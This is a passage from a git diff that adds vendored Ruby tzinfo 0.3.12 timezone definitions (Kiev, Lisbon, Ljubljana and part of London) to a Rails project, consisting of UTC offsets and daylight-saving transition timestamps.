1988, 3, :o3, 575424000 + tz.transition 1988, 9, :o2, 591148800 + tz.transition 1989, 3, :o3, 606873600 + tz.transition 1989, 9, :o2, 622598400 + tz.transition 1990, 3, :o3, 638323200 + tz.transition 1990, 9, :o2, 654652800 + tz.transition 1991, 3, :o3, 670374000 + tz.transition 1991, 9, :o2, 686098800 + tz.transition 1992, 3, :o3, 701823600 + tz.transition 1992, 9, :o2, 717548400 + tz.transition 1993, 3, :o3, 733273200 + tz.transition 1993, 9, :o2, 748998000 + tz.transition 1994, 3, :o3, 764722800 + tz.transition 1994, 9, :o2, 780447600 + tz.transition 1995, 3, :o3, 796172400 + tz.transition 1995, 9, :o2, 811897200 + tz.transition 1996, 3, :o3, 828226800 + tz.transition 1996, 10, :o2, 846370800 + tz.transition 1997, 3, :o3, 859676400 + tz.transition 1997, 10, :o2, 877820400 + tz.transition 1998, 3, :o3, 891126000 + tz.transition 1998, 10, :o2, 909270000 + tz.transition 1999, 3, :o3, 922575600 + tz.transition 1999, 10, :o2, 941324400 + tz.transition 2000, 3, :o3, 954025200 + tz.transition 2000, 10, :o2, 972774000 + tz.transition 2001, 3, :o3, 985474800 + tz.transition 2001, 10, :o2, 1004223600 + tz.transition 2002, 3, :o3, 1017529200 + tz.transition 2002, 10, :o2, 1035673200 + tz.transition 2003, 3, :o3, 1048978800 + tz.transition 2003, 10, :o2, 1067122800 + tz.transition 2004, 3, :o3, 1080428400 + tz.transition 2004, 10, :o2, 1099177200 + tz.transition 2005, 3, :o3, 1111878000 + tz.transition 2005, 10, :o2, 1130626800 + tz.transition 2006, 3, :o3, 1143327600 + tz.transition 2006, 10, :o2, 1162076400 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb new file mode 100644 index 00000000..513d3308 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb @@ -0,0 +1,168 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Kiev + include TimezoneDefinition + + timezone 'Europe/Kiev' do |tz| + tz.offset :o0, 7324, 0, :LMT + tz.offset :o1, 7324, 0, :KMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 10800, 0, :MSK + tz.offset :o4, 3600, 3600, :CEST + tz.offset :o5, 3600, 0, :CET + tz.offset :o6, 10800, 3600, :MSD + tz.offset :o7, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 52006652969, 21600 + tz.transition 1924, 5, :o2, 52356400169, 21600 + tz.transition 1930, 6, :o3, 29113781, 12 + tz.transition 1941, 9, :o4, 19442059, 8 + tz.transition 1942, 11, :o5, 58335973, 24 + tz.transition 1943, 3, :o4, 58339501, 24 + tz.transition 1943, 10, :o5, 58344037, 24 + tz.transition 1943, 11, :o3, 58344827, 24 + tz.transition 1981, 3, :o6, 354920400 + tz.transition 1981, 9, :o3, 370728000 + tz.transition 1982, 3, :o6, 386456400 + tz.transition 1982, 9, :o3, 402264000 + tz.transition 1983, 3, :o6, 417992400 + tz.transition 1983, 9, :o3, 433800000 + tz.transition 1984, 3, :o6, 449614800 + tz.transition 1984, 9, :o3, 465346800 + tz.transition 1985, 3, :o6, 481071600 + tz.transition 1985, 9, :o3, 496796400 + tz.transition 1986, 3, :o6, 512521200 + tz.transition 1986, 9, :o3, 528246000 + tz.transition 1987, 3, :o6, 543970800 + tz.transition 1987, 9, :o3, 559695600 + tz.transition 1988, 3, :o6, 575420400 + tz.transition 1988, 9, :o3, 591145200 + tz.transition 1989, 3, :o6, 606870000 + tz.transition 1989, 9, :o3, 622594800 + tz.transition 1990, 6, :o2, 646786800 + tz.transition 1992, 3, :o7, 701820000 + tz.transition 1992, 9, :o2, 717541200 + tz.transition 1993, 3, :o7, 733269600 + tz.transition 1993, 9, :o2, 748990800 + tz.transition 1994, 3, :o7, 764719200 + tz.transition 1994, 9, :o2, 780440400 + tz.transition 1995, 3, :o7, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o7, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o7, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o7, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o7, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o7, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o7, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o7, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o7, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o7, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o7, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o7, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o7, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o7, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o7, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o7, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o7, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o7, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o7, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o7, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o7, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o7, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o7, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o7, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o7, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o7, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o7, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o7, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o7, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o7, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o7, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o7, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o7, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o7, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o7, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o7, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o7, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o7, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o7, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o7, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o7, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o7, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o7, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o7, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o7, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o7, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o7, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o7, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o7, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o7, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o7, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o7, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o7, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o7, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o7, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o7, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb new file mode 100644 index 00000000..1c6d2a3d --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb @@ -0,0 +1,268 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Lisbon + include TimezoneDefinition + + timezone 'Europe/Lisbon' do |tz| + tz.offset :o0, -2192, 0, :LMT + tz.offset :o1, 0, 0, :WET + tz.offset :o2, 0, 3600, :WEST + tz.offset :o3, 0, 7200, :WEMT + tz.offset :o4, 3600, 0, :CET + tz.offset :o5, 3600, 3600, :CEST + + tz.transition 1912, 1, :o1, 13064773637, 5400 + tz.transition 1916, 6, :o2, 58104779, 24 + tz.transition 1916, 11, :o1, 4842337, 2 + tz.transition 1917, 2, :o2, 58110923, 24 + tz.transition 1917, 10, :o1, 58116395, 24 + tz.transition 1918, 3, :o2, 58119707, 24 + tz.transition 1918, 10, :o1, 58125155, 24 + tz.transition 1919, 2, :o2, 58128443, 24 + tz.transition 1919, 10, :o1, 58133915, 24 + tz.transition 1920, 2, :o2, 58137227, 24 + tz.transition 1920, 10, :o1, 58142699, 24 + tz.transition 1921, 2, :o2, 58145987, 24 + tz.transition 1921, 10, :o1, 58151459, 24 + tz.transition 1924, 4, :o2, 58173419, 24 + tz.transition 1924, 10, :o1, 58177763, 24 + tz.transition 1926, 4, :o2, 58190963, 24 + tz.transition 1926, 10, :o1, 58194995, 24 + tz.transition 1927, 4, :o2, 58199531, 24 + tz.transition 1927, 10, :o1, 58203731, 24 + tz.transition 1928, 4, :o2, 58208435, 24 + tz.transition 1928, 10, :o1, 58212635, 24 + tz.transition 1929, 4, :o2, 58217339, 24 + tz.transition 1929, 10, :o1, 58221371, 24 + tz.transition 1931, 4, :o2, 58234811, 24 + tz.transition 1931, 10, :o1, 58238843, 24 + tz.transition 1932, 4, :o2, 58243211, 24 + tz.transition 1932, 10, :o1, 58247579, 24 + tz.transition 1934, 4, :o2, 58260851, 24 + tz.transition 1934, 10, :o1, 58265219, 24 + tz.transition 1935, 3, :o2, 58269419, 24 + tz.transition 1935, 10, :o1, 58273955, 24 + tz.transition 1936, 4, :o2, 58278659, 24 + tz.transition 1936, 10, :o1, 58282691, 24 + tz.transition 1937, 4, :o2, 58287059, 24 + tz.transition 1937, 10, :o1, 58291427, 24 + tz.transition 1938, 3, :o2, 58295627, 24 + tz.transition 1938, 10, :o1, 58300163, 24 + tz.transition 1939, 4, :o2, 58304867, 24 + tz.transition 1939, 11, :o1, 58310075, 24 + tz.transition 1940, 2, :o2, 58312427, 24 + tz.transition 1940, 10, :o1, 58317803, 24 + tz.transition 1941, 4, :o2, 58322171, 24 + tz.transition 1941, 10, :o1, 58326563, 24 + tz.transition 1942, 3, :o2, 58330403, 24 + tz.transition 1942, 4, :o3, 29165705, 12 + tz.transition 1942, 8, :o2, 29167049, 12 + tz.transition 1942, 10, :o1, 58335779, 24 + tz.transition 1943, 3, :o2, 58339139, 24 + tz.transition 1943, 4, :o3, 29169989, 12 + tz.transition 1943, 8, :o2, 29171585, 12 + tz.transition 1943, 10, :o1, 58344683, 24 + tz.transition 1944, 3, :o2, 58347875, 24 + tz.transition 1944, 4, :o3, 29174441, 12 + tz.transition 1944, 8, :o2, 29175953, 12 + tz.transition 1944, 10, :o1, 58353419, 24 + tz.transition 1945, 3, :o2, 58356611, 24 + tz.transition 1945, 4, :o3, 29178809, 12 + tz.transition 1945, 8, :o2, 29180321, 12 + tz.transition 1945, 10, :o1, 58362155, 24 + tz.transition 1946, 4, :o2, 58366019, 24 + tz.transition 1946, 10, :o1, 58370387, 24 + tz.transition 1947, 4, :o2, 29187379, 12 + tz.transition 1947, 10, :o1, 29189563, 12 + tz.transition 1948, 4, :o2, 29191747, 12 + tz.transition 1948, 10, :o1, 29193931, 12 + tz.transition 1949, 4, :o2, 29196115, 12 + tz.transition 1949, 10, :o1, 29198299, 12 + tz.transition 1951, 4, :o2, 29204851, 12 + tz.transition 1951, 10, :o1, 29207119, 12 + tz.transition 1952, 4, :o2, 29209303, 12 + tz.transition 1952, 10, :o1, 29211487, 12 + tz.transition 1953, 4, :o2, 29213671, 12 + tz.transition 1953, 10, :o1, 29215855, 12 + tz.transition 1954, 4, :o2, 29218039, 12 + tz.transition 1954, 10, :o1, 29220223, 12 + tz.transition 1955, 4, :o2, 29222407, 12 + tz.transition 1955, 10, :o1, 29224591, 12 + tz.transition 1956, 4, :o2, 29226775, 12 + tz.transition 1956, 10, :o1, 29229043, 12 + tz.transition 1957, 4, :o2, 29231227, 12 + tz.transition 1957, 10, :o1, 29233411, 12 + tz.transition 1958, 4, :o2, 29235595, 12 + tz.transition 1958, 10, :o1, 29237779, 12 + tz.transition 1959, 4, :o2, 29239963, 12 + tz.transition 1959, 10, :o1, 29242147, 12 + tz.transition 1960, 4, :o2, 29244331, 12 + tz.transition 1960, 10, :o1, 29246515, 12 + tz.transition 1961, 4, :o2, 29248699, 12 + tz.transition 1961, 10, :o1, 29250883, 12 + tz.transition 1962, 4, :o2, 29253067, 12 + tz.transition 1962, 10, :o1, 29255335, 12 + tz.transition 1963, 4, :o2, 29257519, 12 + tz.transition 1963, 10, :o1, 29259703, 12 + tz.transition 1964, 4, :o2, 29261887, 12 + tz.transition 1964, 10, :o1, 29264071, 12 + tz.transition 1965, 4, :o2, 29266255, 12 + tz.transition 1965, 10, :o1, 29268439, 12 + tz.transition 1966, 4, :o4, 29270623, 12 + tz.transition 1976, 9, :o1, 212544000 + tz.transition 1977, 3, :o2, 228268800 + tz.transition 1977, 9, :o1, 243993600 + tz.transition 1978, 4, :o2, 260323200 + tz.transition 1978, 10, :o1, 276048000 + tz.transition 1979, 4, :o2, 291772800 + tz.transition 1979, 9, :o1, 307501200 + tz.transition 1980, 3, :o2, 323222400 + tz.transition 1980, 9, :o1, 338950800 + tz.transition 1981, 3, :o2, 354675600 + tz.transition 1981, 9, :o1, 370400400 + tz.transition 1982, 3, :o2, 386125200 + tz.transition 1982, 9, :o1, 401850000 + tz.transition 1983, 3, :o2, 417578400 + tz.transition 1983, 9, :o1, 433299600 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 9, :o1, 465354000 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 9, :o1, 496803600 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 9, :o1, 528253200 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 9, :o1, 559702800 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 9, :o1, 591152400 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 9, :o1, 622602000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 9, :o1, 654656400 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 9, :o1, 686106000 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 9, :o4, 717555600 + tz.transition 1993, 3, :o5, 733280400 + tz.transition 1993, 9, :o4, 749005200 + tz.transition 1994, 3, :o5, 764730000 + tz.transition 1994, 9, :o4, 780454800 + tz.transition 1995, 3, :o5, 796179600 + tz.transition 1995, 9, :o4, 811904400 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb new file mode 100644 index 00000000..a9828e6e --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb @@ -0,0 +1,13 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Ljubljana + include TimezoneDefinition + + linked_timezone 'Europe/Ljubljana', 'Europe/Belgrade' + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb new file mode 100644 index 00000000..64ce41e9 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb @@ -0,0 +1,288 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module London + include TimezoneDefinition + + timezone 'Europe/London' do |tz| + tz.offset :o0, -75, 0, :LMT + tz.offset :o1, 0, 0, :GMT + tz.offset :o2, 0, 3600, :BST + tz.offset :o3, 0, 7200, :BDST + tz.offset :o4, 3600, 0, :BST + + tz.transition 1847, 12, :o1, 2760187969, 1152 + tz.transition 1916, 5, :o2, 29052055, 12 + tz.transition 1916, 10, :o1, 29053651, 12 + tz.transition 1917, 4, :o2, 29055919, 12 + tz.transition 1917, 9, :o1, 29057863, 12 + tz.transition 1918, 3, :o2, 29060119, 12 + tz.transition 1918, 9, :o1, 29062399, 12 + tz.transition 1919, 3, :o2, 29064571, 12 + tz.transition 1919, 9, :o1, 29066767, 12 + tz.transition 1920, 3, :o2, 29068939, 12 + tz.transition 1920, 10, :o1, 29071471, 12 + tz.transition 1921, 4, :o2, 29073391, 12 + tz.transition 1921, 10, :o1, 29075587, 12 + tz.transition 1922, 3, :o2, 29077675, 12 + tz.transition 1922, 10, :o1, 29080027, 12 + tz.transition 1923, 4, :o2, 29082379, 12 + tz.transition 1923, 9, :o1, 29084143, 12 + tz.transition 1924, 4, :o2, 29086663, 12 + tz.transition 1924, 9, :o1, 29088595, 12 + tz.transition 1925, 4, :o2, 29091115, 12 + tz.transition 1925, 10, :o1, 29093131, 12 + tz.transition 1926, 4, :o2, 29095483, 12 + tz.transition 1926, 10, :o1, 29097499, 12 + tz.transition 1927, 4, :o2, 29099767, 12 + tz.transition 1927, 10, :o1, 29101867, 12 + tz.transition 1928, 4, :o2, 29104303, 12 + tz.transition 1928, 10, :o1, 29106319, 12 + tz.transition 1929, 4, :o2, 29108671, 12 + tz.transition 1929, 10, :o1, 29110687, 12 + tz.transition 1930, 4, :o2, 29112955, 12 + tz.transition 1930, 10, :o1, 29115055, 12 + tz.transition 1931, 4, :o2, 29117407, 12 + tz.transition 1931, 10, :o1, 29119423, 12 + tz.transition 1932, 4, :o2, 29121775, 12 + tz.transition 1932, 10, :o1, 29123791, 12 + tz.transition 1933, 4, :o2, 29126059, 12 + tz.transition 1933, 10, :o1, 29128243, 12 + tz.transition 1934, 4, :o2, 29130595, 12 + tz.transition 1934, 10, :o1, 29132611, 12 + tz.transition 1935, 4, :o2, 29134879, 12 + tz.transition 1935, 10, :o1, 29136979, 12 + tz.transition 1936, 4, :o2, 29139331, 12 + tz.transition 1936, 10, :o1, 29141347, 12 + tz.transition 1937, 4, :o2, 29143699, 12 + tz.transition 1937, 10, :o1, 29145715, 12 + tz.transition 1938, 4, :o2, 29147983, 12 + tz.transition 1938, 10, :o1, 29150083, 12 + tz.transition 1939, 4, 